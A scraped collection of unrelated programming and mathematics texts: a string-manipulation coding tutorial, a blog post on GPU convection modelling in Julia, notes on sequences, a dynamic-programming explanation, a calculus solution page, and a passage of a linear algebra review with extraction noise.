`// Java code to implement the approach` `import` `java.io.*;`   `class` `GFG` `{`   `  ``// Function to add stars` `  ``public` `static` `String addStars(String s, ``int` `stars[])` `  ``{`   `    ``// Create a string ans for storing` `    ``// resultant string` `    ``String ans = ``\"\"``;`   `    ``int` `j = ``0``;`   `    ``for` `(``int` `i = ``0``; i < s.length(); i++) {`   `      ``// If the count of characters` `      ``// become equal to the stars[j],` `      ``// append star` `      ``if` `(j < stars.length && i == stars[j]) {` `        ``ans += ``'*'``;` `        ``j++;` `      ``}` `      ``ans += s.charAt(i);` `    ``}`   `    ``return` `ans;` `  ``}`   `  ``// Driver Code` `  ``public` `static` `void` `main(String[] args)` `  ``{` `    ``String str = ``\"geeksforgeeks\"``;` `    ``int` `chars[] = { ``1``, ``5``, ``7``, ``9` `};` `    ``String ans = addStars(str, chars);`   `    ``// Printing the resultant string` `    ``System.out.println(ans);` `  ``}` `}`   `// This code is contributed by Rohit Pradhan`\n\n## Python3\n\n `# Python3 code to implement the above approach`   `# Function to add stars` `def` `addStars(s, stars) :`   `    ``# Create a string ans for storing` `    ``# resultant string` `    ``ans ``=` `\"\";` `    ``j ``=` `0``;`   `    ``for` `i ``in` `range``(``len``(s)) :`   `        ``# If the count of characters` `        ``# become equal to the stars[j],` `        ``# append star` `        ``if` `(j < ``len``(stars) ``and` `i ``=``=` `stars[j]) :` `            ``ans ``+``=` `'*'``;` `            ``j ``+``=` `1``;` `        ``ans ``+``=` `s[i];` `    ``return` `ans;`   `# Driver code` `if` `__name__ ``=``=` `\"__main__\"` `:` `    ``string ``=` `\"geeksforgeeks\"``;` `    ``chars ``=` `[ ``1``, ``5``, ``7``, ``9` `];` `    ``ans ``=` `addStars(string, chars);`   `    ``# Printing the resultant string` `    ``print``(ans);` `    `  `    ``# This code is contributed by AnkThon`\n\n## C#\n\n `// C# code to implement the approach` `using` `System;` `using` `System.Collections;`   `public` `class` `GFG ` `{` `  `  `  ``// Function to add stars` `  ``public` `static` `string` `addStars(``string` `s, ``int``[] stars)` `  ``{`   `    ``// Create a string ans for storing` `    ``// resultant string` `    ``string` `ans = ``\"\"``;`   `    ``int` `j = 0;`   `    ``for` `(``int` `i = 0; i < s.Length; i++) {`   `      ``// If the count of characters` `      ``// become equal to the stars[j],` `      ``// append star` `      ``if` `(j < stars.Length && i == stars[j]) {` `        ``ans += ``'*'``;` `        ``j++;` `      ``}` `      ``ans += s[i];` `    ``}`   `    ``return` `ans;` `  ``}`   `  ``// Driver code` `  ``public` `static` `void` `Main(``string``[] args)` `  ``{` `    ``string` `str = ``\"geeksforgeeks\"``;` `    ``int``[] chars = { 1, 5, 7, 9 };` `    ``string` `ans = addStars(str, chars);`   `    ``// Printing the resultant string` `    ``Console.Write(ans);` `  ``}` `}`   `// This code is contributed by garg28harsh.`\n\n## Javascript\n\n `// Javascript code to implement the approach`   `// Function to add stars` `function` `addStars(s, stars) {`   `    ``// Create a string ans for storing` `    ``// resultant string` `    ``let ans = ``\"\"``;`   `    ``let j = 0;`   `    ``for` `(let i = 0; i < s.length; i++) {`   `        ``// If the count of characters` `        ``// become equal to the stars[j],` `        ``// append star` `        ``if` `(j < stars.length && i == stars[j]) {` `            ``ans += ``'*'``;` `            ``j++;` `        ``}` `        ``ans += s[i];` `    ``}`   `    ``return` `ans;` `}`   `// Driver code`   `let str = ``\"geeksforgeeks\"``;` `let chars = [1, 5, 7, 9];` `let ans = addStars(str, chars);`   `// Printing the resultant string` `console.log(ans)`   `// This code is contributed by Saurabh Jaiswal`\n\nOutput\n\n`g*eeks*fo*rg*eeks`\n\nTime Complexity: O(N)\nAuxiliary Space: O(N)\n\nApproach: using inbuilt insert function.\n\nIn this approach we need to increase the length of orignal string as on insert operation the orignal string get modified and so the target index needs to be increased by 1 so we used k.\n\nThe addStars function inserts an asterisk (*) at the positions specified in the chars vector. Here’s step by step approach for same:\n\n1. The addStars function takes a string s and a vector of integers stars as input.\n2. It iterates through the stars vector using a for loop.\n3. For each position specified in the stars vector, it inserts an asterisk (*) at that position in the string s(using insert function).\n4. we increment the k on insertion because size increases on an insertion operation.\n5. The updated string is returned.\n\n## C++\n\n `#include ` `#include ` `#include ` `using` `namespace` `std;`   `// Function to add stars` `string addStars(string s, vector<``int``>& stars)` `{` `    ``// Iterate through the vector of positions` `    ``int` `k=0;` `    ``for` `(``int` `i = 0; i < stars.size(); i++) {` `        ``// Insert a star at the specified position` `        ``s.insert(stars[i]+ k++, ``\"*\"``);` `    ``}` `    ``return` `s;` `}`   `// Driver code` `int` `main()` `{` `    ``string str = ``\"geeksforgeeks\"``;` `    ``vector<``int``> chars = { 1, 5, 7, 9 };` `    ``string ans = addStars(str, chars);`   `    ``// Printing the resultant string` `    ``cout << ans << endl;` `}`\n\n## Python3\n\n `# Function to add stars` `def` `addStars(s, stars):` `  `  `    ``# Iterate through the vector of positions` `    ``k ``=` `0` `    ``for` `i ``in` `range``(``len``(stars)):` `      `  `        ``# Insert a star at the specified position` `        ``s ``=` `s[:stars[i]``+``k] ``+` `\"*\"` `+` `s[stars[i]``+``k:]` `        ``k ``+``=` `1` `    ``return` `s`     `# Driver code` `str` `=` `\"geeksforgeeks\"` `chars ``=` `[``1``, ``5``, ``7``, ``9``]` `ans ``=` `addStars(``str``, chars)`   `# Printing the resultant string` `print``(ans)`\n\nOutput\n\n`g*eeks*fo*rg*eeks`\n\nTime Complexity: O(N*K)\nAuxiliary Space: O(N)\n\nExplaination:\nThe time complexity of this approach is O(n*k), where n is the length of the string and k is the size of the vector. This is because for each position in the vector, we need to insert an asterisk into the string, which takes O(n) time.\n\nThe auxiliary space complexity is O(1), as we are not using any additional data structures.\n\nMy Personal Notes arrow_drop_up" ]

[ null, "https://media.geeksforgeeks.org/gfg-gg-logo.svg", null, "https://media.geeksforgeeks.org/auth-dashboard-uploads/web-2.png", null ]

[ "## Julia Community 🟣", null, "Argel Ramírez Reyes\n\nPosted on • Originally published at argelramirezreyes.com\n\n# Implementing a GPU-capable convective parameterization on Oceananigans.jl\n\nIn this post I share my experience about how easy is it to add GPU-capable pieces of software to a fluid dynamics software in the Julia programming language with the help of CUDA.jl and Oceananigans.jl. All the code shown in this blog post can be found here", null, "Oceananigans.jl is described as \"A Julia software for fast, friendly, flexible, ocean-flavored fluid dynamics on CPUs and GPUs. It developed as a part of the Climate Modelling Alliance. It really delivers what it promises, as running one of the example simulations on GPUs (Graphics Processing Units) is just as easy as changing one line in a script to read \"GPU\" instead of \"CPU\".\n\nOne of my favorite things about the julia language is that the distance between a \"user\" and a \"developer\" is much smaller than in other high-level languages. This means that if you are able to write a script to run a simulation using another person's package, you have almost all the skills needed to write fast code that performs as well as writing code in the C language (the golden standard) and that looks similar to the implementation of most functions available in the language.\n\nHere, I show how working with Oceananigans.jl is a fantastic experience, and that extending its capabilities to work on a GPU is almost as easy as doing it for CPU.\n\nWhat I want to do is to extend the Shallow Water model in Oceananigans, and implement a representation of convection. If you are not interested in details of this model, you can skip the next section and go straight to the Implementation.\n\n## The model\n\nThe model we are implementing is that in Yang 2013. The full set of equations that we will solve is:", null, "These are the well-known shallow water equations that are already solved by the Shallow Water model in Oceananigans.jl. We added some damping in all the fields to be consistent with other studies, and a forcing to the height field. This is our convective parameterization that adds \"mass\" to the h field in the following way:", null, "where q, t_c and r_c are the magnitude, radius and duration of convective events, Δt is the time that has passed since the convective event started and r is the distance from the point in which a convective event was triggered. Each convective event is triggered when the mass of the system exceeds certain threshold, representing a mass sink. This parameterization is interesting because it can reproduce some forms of organized convection like the Madden-Julian oscillation which affects the weather in a good portion of the globe and that continues to puzzle scientists. We want to use this to study how hurricanes form and intensify.\n\n## The implementation\n\n### Implementation attempt 1\n\nLet's think about only one point in the grid. Our roadmap is:\n\n1. Check if this point (i,j) meets the conditions to inject mass.\n2. If it is convecting, go through its sorroundings, adding mass to each neighbohr.\n\n### Parallel programming requires to think things differently (or avoiding a race condition)\n\nWhile the previous roadmap seems reasonable, it has a limitation: it cannot easily be paralellized. Imagine one point (A) that falls between two convective events (C1 and C2). The paralellization strategy would be that each different processing unit (could be each core of a CPU/GPU or each task) would take care of one convective event. When adding mass, each convective event will read the original value stored in A and add its own share of mass. This can happen in two ways:\n\n1. C1 reads the intial value of A and adds mass to it. C2 reads the updated value and adds mass to it. Success!\n2. C1 and C2 read the original value of A and they both add mass to it. Then they update with their own new value at the same time. Error! The final value does not contain the mass from both convective events, but only from the latest that wrote its updated value. This is called a race condition.\n\nThe problem will get worse if we have more than two convective events adding mass at the same time. We need to rethink the strategy.\n\n### Implementation attempt 2\n\nIf we expect to parallelize the problem, we need another strategy. Here is a second proposal.\n\nLet's think again about one point (i,j) in the grid.\n\n1. Go through its sorroundings.\n2. If any neighbohring point is convecting, add mass to (i,j).\n\nThe difference is subtle, but if we paralellize the second proposal, no race condition exists, as each point in the \"mass\" array would only be written by one processing unit at each timestep. We will go with this one. This can be called an \"embarassingly parallel\" problem because each processing unit can do its own task without worrying about exchanging information with the others. This something GPUs are very good at and this feature motivates the rest of the work.\n\n### CPU implementation\n\nTo implement our convective parameterization, we will need two auxiliary arrays. One will store a boolean condition to indicate if each point is convecting. The other will store the time at which each point started convecting the last time. Lets called them `isconvecting` and `convection_triggered_time`. These two will have the same size as the `h` field and other fields in the domain. Now, we need a function that, at each time step, evaluates the conditions at each point of the domain and decides is the convective parameterization must act. Now we want that each time step, these two arrays are updated with current information about what points should be convecting.\n\n``````For each point in the domain\nCompute the time it has been convecting\nHas this point been convecting less than intended? or\nIs this point below the convective threshold? or\nIs this point a new convecting point?\nIf any of these three conditions is true\nupdate an array to indicate that this point is convecting and indicate when it started\nend\nend\n``````\n\nWhich in julia looks like this\n\n``````function update_convective_events_cpu!(isconvecting,convection_triggered_time,h,t,τ_convec,h_threshold)\nfor ind in eachindex(h)\ntime_convecting = t - convection_triggered_time[ind]\nneeds_to_convect_by_time = isconvecting[ind] * (time_convecting < τ_convec) #has been convecting less than τ_c?\nneeds_to_convect_by_height = h[ind] >= h_threshold\nwill_start_convecting = needs_to_convect_by_height * iszero(needs_to_convect_by_time) #time needs be updated?\nneeds_to_convect = needs_to_convect_by_time | needs_to_convect_by_height\nisconvecting[ind] = needs_to_convect\nconvection_triggered_time[ind] = ifelse(will_start_convecting, t, convection_triggered_time[ind])\nend\nreturn nothing\nend\n``````\n\nNow, we want each processing unit to add mass to only one point. How much mass? This depends on how many convecting points are around it, how far they are, and for how long each one has been convecting.\n\nSomething like:\n\n``````For each neighbor\nIs this neighbor convecting? then\nHow far is this?\nFor how long has it been convecting?\nend\nend\n``````\n\nWhich in julia looks something like this:\n\n``````function heat_at_point(i,j,k,current_time,τc,isconvecting,convection_triggered_time,numelements_to_traverse, heating_stencil)\nforcing = 0.0\nnn = -numelements_to_traverse\nnp = numelements_to_traverse\nfor neigh_j in nn:np\njinner = j + neigh_j\nfor neigh_i in nn:np\niinner = i + neigh_i\nif isconvecting[iinner , jinner]\nforcing = forcing - heat(current_time,convection_triggered_time[iinner,jinner],τc,heating_stencil[neigh_i,neigh_j])\nend\nend\nend\nreturn forcing\nend\n``````\n\n### GPU implementation\n\nNow. This is where the magic happens. Something great about Oceananigans.jl is that is has most of the infraestructure ready to help you plug in some forcing to the model fields. This forcing can then be run on whatever architecture you have chosen (GPU or CPU). In this case our `heat_at_point` function is generic enough that Oceananigans.jl can work with it.\n\nHowever, because Oceananigans.jl does not manage our `isconvecting` and `convection_triggered_time` arrays we need to write a function to update them using the GPU. Fortunately, `CUDA.jl` is another library that exposes most of the functionality of cuda (the set of tools to run general purpose code in a Nvidia GPUS) from julia. Doing just minimal changes, our new function looks like this:\n\n``````function update_convective_events_gpu!(isconvecting,convection_triggered_time,h,t,τ_convec,h_threshold,Nx,Ny)\n\nindex_x = (blockIdx().x - 1) * blockDim().x + threadIdx().x\nstride_x = gridDim().x * blockDim().x\n\nindex_y = (blockIdx().y - 1) * blockDim().y + threadIdx().y\nstride_y = gridDim().y * blockDim().y\n\nfor i in index_x:stride_x:Nx\nfor j in index_y:stride_y:Ny\ntime_convecting = t - convection_triggered_time[i,j]\nneeds_to_convect_by_time = isconvecting[i,j] && (time_convecting < τ_convec)\nneeds_to_convect_by_height = h[i,j] >= h_threshold\nwill_start_convecting = needs_to_convect_by_height && iszero(needs_to_convect_by_time)\nisconvecting[i,j] = needs_to_convect_by_time || needs_to_convect_by_height\nwill_start_convecting && (convection_triggered_time[i,j] = t)\nend\nend\n\nreturn nothing\nend\n``````\n\nThe only significant change that we did is in the way we iterate over the fields. In this case, each processing unit will be in charge of only a handful of operations so we don't need to make a loop over all of the element in the array. This kernel will be passed to each processing unit.\n\nThis gives a considerable speedup to run simulations like those shown in the beginning.\n\nWith julia and Oceananigans.jl, the code is so reusable and versatile, that you can devote more time to explore your simulations than to writing them. And you also enjoy the writing!\n\nYou can see the full implementation of the convective parameterization in here\n\nResources:" ]

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[ "Four Examples\n\nStandard\n\nFollowing are the four examples of sequences (along with their properties) which can be helpful to gain a better understanding of theorems about sequences (real analysis):\n\n•", null, "$\\langle n\\rangle_{n=1}^{\\infty}$ : unbounded, strictly increasing, diverging\n•", null, "$\\langle \\frac{1}{n}\\rangle_{n=1}^{\\infty}$ : bounded, strictly decreasing, converging\n•", null, "$\\langle \\frac{n}{1+n}\\rangle_{n=1}^{\\infty}$ : bounded, strictly increasing, converging\n•", null, "$\\langle (-1)^{n+1}\\rangle_{n=1}^{\\infty}$ : bounded, not converging (oscillating)\n\nI was really amazed to found that", null, "$x_n=\\frac{n}{n+1}$ is a strictly increasing sequence, and in general, the function", null, "$f(x)=\\frac{x}{1+x}$ defined for all positive real numbers is an increasing function bounded by 1:", null, "The graph of x/(1+x) for x>0, plotted using SageMath 7.5.1\n\nAlso, just a passing remark, since", null, "$\\log(x)< x+1$ for all", null, "$x>0$, and as seen in prime number theorem we get an unbounded increasing function", null, "$\\frac{x}{\\log(x)}$ for", null, "$x>1$", null, "The plot of x/log(x) for x>2. The dashed line is y=x for the comparison of growth rate. Plotted using SageMath 7.5.1" ]

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[ "# Dynamic Programming: Cutting Sticks\n\nWe have a stick (wood) that needs to be cut:The cuts must be done in certain parts of the stick.\n\nYou must cut the stick in all marked places.\n\nFor example, consider a stick of size 10 and 3 places marked in it (positions 2, 4 and 7) where the cuts must be made.\n\nThe cost to make a cut is the same as the size of the stick.\n\nFor instance, if you have a stick of size 10 and you need to make one cut (anywhere) in it, that will cost you 10.\n\nIt is not difficult to notice that depending on the order you perform the cuts, your total cost will be different.\n\nFor example, if you cut the stick on positions 2, 4 and 7 (in this order), the total cost will be 10+8+6=24.\n\nA better way to cut that stick would be by starting on position 4, then 2 then 7.\n\nThat would yield a cost of 10+4+6=20,Example of 2 ways to perform the cuts.\n\nNotice the one on the right is better than the left one as the total cost to perform all 3 cuts is smaller.\n\nThe problem asks you to find the minimum possible cost given the size of the stick and the places where it needs to be cut.\n\nLet’s define a few things:N: The size of the original stickk: The position (index) where a generic cut is made.\n\noptimalCost(initialIndex, endIndex): A function that returns the best cost to cut a stick that starts in initialIndex and ends in endIndex.\n\nNotice that we want to find optimalCost(0, N).\n\nHere is the key observation to solve this problem.\n\nWhenever we make a cut, we divide the stick into 2 other sticks.\n\nThose 2 new sticks will then need to be cut again (if there is a cut to be made on it) or will remain intact (if there is no further cutting to be made).\n\nNotice that those 2 new sticks that need to be cut represent the same problem again, except that now we have a new stick with a new size and new places (i.\n\ne, new indexes) to cut it.\n\nWith that in mind, we just need to find the best way to cut those 2 new sub-sticks and sum their cost with the cost of the original cut you made.\n\nWe can equate the above like this:optimalCost(initialStickPosition, endStickPosition) = optimalCost(initialStickPosition, k) + optimalCost(k, endStickPosition) + sizeOfTheCurrentStickHere 'k’is one of the original positions where the stick should be cut.\n\nWe also have that sizeOfTheCurrentStick = endStickPosition — initialStickPosition so the final recursive formula is:optimalCost(initialStickPosition, endStickPosition) = optimalCost(initialStickPosition, k) + optimalCost(k, endStickPosition) + (endStickPosition – initialStickPosition)Now we only have to loop through all possible places where the cut can be made (i.\n\ne, all possible'k's)and select the one that yields the minimum cost:Coding nextCutIndex() is trivial and there are many ways to do it, so I won’t pollute the code in this article with it.\n\nWith the above, the problem is technically solved, but there is one issue with it: a lot of sub-problems will be recalculated over and over again, making our program slow.\n\nThat is where Dynamic Programming can help us.\n\nAll we have to do is to store the best cut for the sub-sticks we have found.\n\nThen, the next time we need to find its value, we can just look it up without having to go through the recursion again:Here’m’ is our matrix that will hold the best costs already calculated.\n\nIf you don’t do this memorisation step and you try to submit your code on the UVA website, you will get a Time limit exceeded error, meaning your program is too slow to process all test cases they have.\n\nNotice the approach we have taken is a top-bottom one because we start the recursion with the highest stick possible and proceed on cutting it into sub-sticks until there is nothing more to cut.\n\nSometimes it is easier to think about a DP problem this way.\n\nNothing stops you from using a bottom-up approach though (as we have done in our first DP article³).\n\nYou can find my full C++ implementation here⁴.\n\nSources:“Cutting Sticks”: https://uva.\n\nonlinejudge.\n\norg/index.\n\nphp?option=com_onlinejudge&Itemid=8&page=show_problem&problem=944UVA’s problem set index: https://uva.\n\nonlinejudge.\n\norg/index.\n\nphp?option=com_onlinejudge&Itemid=8“Dynamic Programming: An induction approach”: https://medium.\n\ncom/@tiagot/dynamic-programming-an-induction-approach-b5c5e73c4a19Complete solution: https://github.\n\ncom/TheCoinTosser/Competitive-Programming/blob/c3e390a4b7bda82cd6479dfe52d22c7ed3dab405/UVA/10003__Cutting_Sticks.\n\ncpp." ]

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[ "Calculus: Early Transcendentals - 1 Edition - Chapter 2.6 - Problem 90ae\nRegister Now\n\nJoin StudySoup\n\nGet Full Access to Calculus: Early Transcendentals - 1 Edition - Chapter 2.6 - Problem 90ae", null, "9780321570567\n\n# Ch 2.6 - 90AE\n\nCalculus: Early Transcendentals | 1st Edition\n\nProblem 90AE\n\n90AE\n\nAccepted Solution\nStep-by-Step Solution:\nStep 1 of 3\n\nSTEP_BY_STEP SOLUTION Step-1 A continuous function can be formally defined as a f unction f : x y ,where the preimage of every open set in y is open in x. More concretely, a function f(x) in a single variable x is said to be continuous at point x if, 0 1. If f(x 0 is defined, so that x 0 is in the domain of ‘ f’. 2. lim f(x) exists for x in the domain of f. x x0 3. lim f(x) = f( x ). x x0 0 Left continuous : lim f(x) = f(a) , then f(x) is called a left continuous at x=a. xa Right continuous : lim xa)+= f(a) , then f(x) is called a right continuous at x=a. If , lim f(x) = f(a) = lim f(x) , then f(x) is called a continuous function at x=a. xa xa + If , f(x) is not continuous at x =a means , it is discontinuous at x=a. Step-2 Definition ; (composite function): Let g be a function from a set A to a set B , and let f be a function from B to a set C . Then the composition of functions f and g , denoted by fg , is the function from A to C that satisfies fg(x) = f( g(x) ) = (fog)(x) , for all x in A . 2 2 Example: Let f(x) = x , and g(x) = x + 1 . Then f( g(x) ) = ( x + 1 ) . Step-3 Given that g(x) is continuous function at x=a , and f(x) is continuous function at g(a) then it can be written as ; xag(x) = g(a) . ……………(1) and lim f(x) = f(g(a) )……………………(2) xa Now , we need to prove that the composite function (fog)(x) is continuous at x=a. Thus , lim(fog)(x) = lim(fg(x)) , since by the definition in step 2 . xa xa = lim(f(g(x))) xa = f( xa(g(x)) = f(g(a) ) , since from(1) = (fog)(a). Therefore , xa(fog)(x) = (fog)(a) . Hence , (fog)(x) is continuous at x=a , since by the definition in step_1.\n\n###### Chapter 2.6, Problem 90AE is Solved\n\nStep 2 of 3\n\nStep 3 of 3\n\nUnlock Textbook Solution" ]

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[ "# Download Linear Algebra Review and Reference Contents Zico Kolter (updated by Chuong Do)\n\nSurvey\n\n* Your assessment is very important for improving the work of artificial intelligence, which forms the content of this project\n\nDocument related concepts\n\nCapelli's identity wikipedia, lookup\n\nExterior algebra wikipedia, lookup\n\nEuclidean vector wikipedia, lookup\n\nVector space wikipedia, lookup\n\nLinear least squares (mathematics) wikipedia, lookup\n\nCovariance and contravariance of vectors wikipedia, lookup\n\nRotation matrix wikipedia, lookup\n\nSystem of linear equations wikipedia, lookup\n\nPrincipal component analysis wikipedia, lookup\n\nJordan normal form wikipedia, lookup\n\nMatrix (mathematics) wikipedia, lookup\n\nDeterminant wikipedia, lookup\n\nNon-negative matrix factorization wikipedia, lookup\n\nSingular-value decomposition wikipedia, lookup\n\nEigenvalues and eigenvectors wikipedia, lookup\n\nOrthogonal matrix wikipedia, lookup\n\nGaussian elimination wikipedia, lookup\n\nFour-vector wikipedia, lookup\n\nPerron–Frobenius theorem wikipedia, lookup\n\nCayley–Hamilton theorem wikipedia, lookup\n\nMatrix multiplication wikipedia, lookup\n\nMatrix calculus wikipedia, lookup\n\nTranscript\n```Linear Algebra Review and Reference\nZico Kolter (updated by Chuong Do)\nOctober 7, 2008\nContents\n1 Basic Concepts and Notation\n1.1 Basic Notation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .\n2\n2\n2 Matrix Multiplication\n2.1 Vector-Vector Products . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .\n2.2 Matrix-Vector Products . . . . . . . . . . . . . . . . . . . . . . . . . . . . .\n2.3 Matrix-Matrix Products . . . . . . . . . . . . . . . . . . . . . . . . . . . . .\n3\n4\n4\n5\n3 Operations and Properties\n3.1 The Identity Matrix and Diagonal Matrices . . . . .\n3.2 The Transpose . . . . . . . . . . . . . . . . . . . . .\n3.3 Symmetric Matrices . . . . . . . . . . . . . . . . . . .\n3.4 The Trace . . . . . . . . . . . . . . . . . . . . . . . .\n3.5 Norms . . . . . . . . . . . . . . . . . . . . . . . . . .\n3.6 Linear Independence and Rank . . . . . . . . . . . .\n3.7 The Inverse . . . . . . . . . . . . . . . . . . . . . . .\n3.8 Orthogonal Matrices . . . . . . . . . . . . . . . . . .\n3.9 Range and Nullspace of a Matrix . . . . . . . . . . .\n3.10 The Determinant . . . . . . . . . . . . . . . . . . . .\n3.11 Quadratic Forms and Positive Semidefinite Matrices .\n3.12 Eigenvalues and Eigenvectors . . . . . . . . . . . . .\n3.13 Eigenvalues and Eigenvectors of Symmetric Matrices\n4 Matrix Calculus\n4.1 The Gradient . . . . . . . . . . . . . . .\n4.2 The Hessian . . . . . . . . . . . . . . . .\n4.4 Least Squares . . . . . . . . . . . . . . .\n4.5 Gradients of the Determinant . . . . . .\n4.6 Eigenvalues as Optimization . . . . . . .\n1\n. . . .\n. . . .\nLinear\n. . . .\n. . . .\n. . . .\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n7\n8\n8\n8\n9\n10\n11\n11\n12\n12\n14\n17\n18\n19\n. . . . . .\n. . . . . .\nFunctions\n. . . . . .\n. . . . . .\n. . . . . .\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n20\n20\n22\n23\n25\n25\n26\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n.\n1\nBasic Concepts and Notation\nLinear algebra provides a way of compactly representing and operating on sets of linear\nequations. For example, consider the following system of equations:\n4x1 − 5x2 = −13\n−2x1 + 3x2 = 9.\nThis is two equations and two variables, so as you know from high school algebra, you\ncan find a unique solution for x1 and x2 (unless the equations are somehow degenerate, for\nexample if the second equation is simply a multiple of the first, but in the case above there\nis in fact a unique solution). In matrix notation, we can write the system more compactly\nas\nAx = b\nwith\nA=\n4 −5\n−2 3\n,\nb=\n−13\n9\n.\nAs we will see shortly, there are many advantages (including the obvious space savings)\nto analyzing linear equations in this form.\n1.1\nBasic Notation\nWe use the following notation:\n• By A ∈ Rm×n we denote a matrix with m rows and n columns, where the entries of A\nare real numbers.\n• By x ∈ Rn , we denote a vector with n entries. By convention, an n-dimensional vector\nis often thought of as a matrix with n rows and 1 column, known as a column vector .\nIf we want to explicitly represent a row vector — a matrix with 1 row and n columns\n— we typically write xT (here xT denotes the transpose of x, which we will define\nshortly).\n• The ith element of a vector x is denoted xi :\n\nx1\n x2\n\nx =  ..\n .\nxn\n2\n\n\n\n.\n\n• We use the notation aij (or Aij , Ai,j , etc) to\njth column:\n\na11 a12\n a21 a22\n\nA =  ..\n..\n .\n.\nam1 am2\ndenote the entry of A in the ith row and\n···\n···\n...\na1n\na2n\n..\n.\n· · · amn\n\n\n\n.\n\n• We denote the jth column of A by aj or A:,j :\n\n\n| |\n|\nA =  a1 a2 · · · an  .\n| |\n|\n• We denote the ith row of A by aTi or Ai,: :\n\n\n— aT1 —\n — aT — \n2\n\n\nA=\n.\n..\n\n\n.\nT\n— am —\n• Note that these definitions are ambiguous (for example, the a1 and aT1 in the previous\ntwo definitions are not the same vector). Usually the meaning of the notation should\nbe obvious from its use.\n2\nMatrix Multiplication\nThe product of two matrices A ∈ Rm×n and B ∈ Rn×p is the matrix\nC = AB ∈ Rm×p ,\nwhere\nCij =\nn\nX\nAik Bkj .\nk=1\nNote that in order for the matrix product to exist, the number of columns in A must equal\nthe number of rows in B. There are many ways of looking at matrix multiplication, and\nwe’ll start by examining a few special cases.\n3\n2.1\nVector-Vector Products\nGiven two vectors x, y ∈ Rn , the quantity xT y, sometimes called the inner product or dot\nproduct of the vectors, is a real number given by\n\n\ny1\nn\n\n\n x2  X\nxi yi .\nxT y ∈ R = x1 x2 · · · xn  ..  =\n .  i=1\nyn\nObserve that inner products are really just special case of matrix multiplication. Note that\nit is always the case that xT y = y T x.\nGiven vectors x ∈ Rm , y ∈ Rn (not necessarily of the same size), xy T ∈ Rm×n is called\nthe outer product of the vectors. It is a matrix whose entries are given by (xy T )ij = xi yj ,\ni.e.,\n\n\n\n\nx1\nx1 y1 x1 y2 · · · x1 yn\n x2  \n\n\n x2 y1 x2 y2 · · · x2 yn \n\nxy T ∈ Rm×n =  ..  y1 y2 · · · yn =  ..\n.\n..\n.\n...\n.. \n . \n .\n\n.\nxm y1 xm y2 · · · xm yn\nxm\nAs an example of how the outer product can be useful, let 1 ∈ Rn denote an n-dimensional\nvector whose entries are all equal to 1. Furthermore, consider the matrix A ∈ Rm×n whose\ncolumns are all equal to some vector x ∈ Rm . Using outer products, we can represent A\ncompactly as,\n\n \n\nx1\nx1 x1 · · · x1\n\n\n| |\n|\n x2 x2 · · · x2   x2  \n \n\nT\n\nA = x x · · · x  =  ..\n..  =  ..  1 1 · · · 1 = x1 .\n.. . .\n\n\n\n .\n.\n.\n.\n.\n| |\n|\nxm\nxm xm · · · xm\n2.2\nMatrix-Vector Products\nGiven a matrix A ∈ Rm×n and a vector x ∈ Rn , their product is a vector y = Ax ∈ Rm .\nThere are a couple ways of looking at matrix-vector multiplication, and we will look at each\nof them in turn.\nIf we write A by rows, then we can express Ax as,\n\n\n\n\naT1 x\n— aT1 —\n aT x \n — aT — \n2\n 2 \n\n\nx\n=\ny = Ax = \n ..  .\n\n..\n . \n\n\n.\nT\naTm x\n— am —\n4\nIn other words, the ith entry of y is equal to the inner product of the ith row of A and x,\nyi = aTi x.\nAlternatively, let’s write A in column form. In this case we see that,\n\n\n\n\n\n\n\n\n x1\n\n| |\n|\n x2 \n\n\ny = Ax =  a1 a2 · · · an   ..  =  a1  x1 +  a2  x2 + . . . +  an  xn .\n . \n| |\n|\nxn\nIn other words, y is a linear combination of the columns of A, where the coefficients of\nthe linear combination are given by the entries of x.\nSo far we have been multiplying on the right by a column vector, but it is also possible\nto multiply on the left by a row vector. This is written, y T = xT A for A ∈ Rm×n , x ∈ Rm ,\nand y ∈ Rn . As before, we can express y T in two obvious ways, depending on whether we\nexpress A in terms on its rows or columns. In the first case we express A in terms of its\ncolumns, which gives\n\n\n| |\n|\ny T = x T A = x T  a1 a 2 · · · an  = x T a 1 x T a2 · · · x T a n\n| |\n|\nwhich demonstrates that the ith entry of y T is equal to the inner product of x and the ith\ncolumn of A.\nFinally, expressing A in terms of rows we get the final representation of the vector-matrix\nproduct,\ny T = xT A\n\n— aT1 —\nT\n\n\n — a2 — \nx1 x2 · · · xn \n=\n\n..\n\n\n.\nT\n— am —\n= x1 — aT1 — + x2 — aT2 — + ... + xn — aTn —\n\nso we see that y T is a linear combination of the rows of A, where the coefficients for the\nlinear combination are given by the entries of x.\n2.3\nMatrix-Matrix Products\nArmed with this knowledge, we can now look at four different (but, of course, equivalent)\nways of viewing the matrix-matrix multiplication C = AB as defined at the beginning of\nthis section.\nFirst, we can view matrix-matrix multiplication as a set of vector-vector products. The\nmost obvious viewpoint, which follows immediately from the definition, is that the (i, j)th\n5\nentry of C is equal to the inner product of the ith row of A and the jth row of B. Symbolically,\nthis looks like the following,\n\n\n\n\n— aT1 — \naT1 b1 aT1 b2 · · · aT1 bp\n\n| |\n|\n — aT — \n aT b 1 aT b 2 · · · aT b p \n2\n2\n2\n\n 2\n\n\n\nb\nb\n·\n·\n·\nb\nC = 